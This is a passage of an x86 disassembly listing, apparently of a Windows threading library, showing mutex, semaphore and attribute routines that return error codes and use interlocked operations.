		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 27306C4h
		nop
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 2730688h
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	short loc_432BE5
		nop
		call	near ptr 27B0888h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 2730688h
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 27B0888h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 28302B0h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2730000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 2830BD8h
		nop
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 276066Eh
		nop
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2720C75h
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2720C75h
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 276066Eh
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2720C75h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E980
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E980
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E980
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
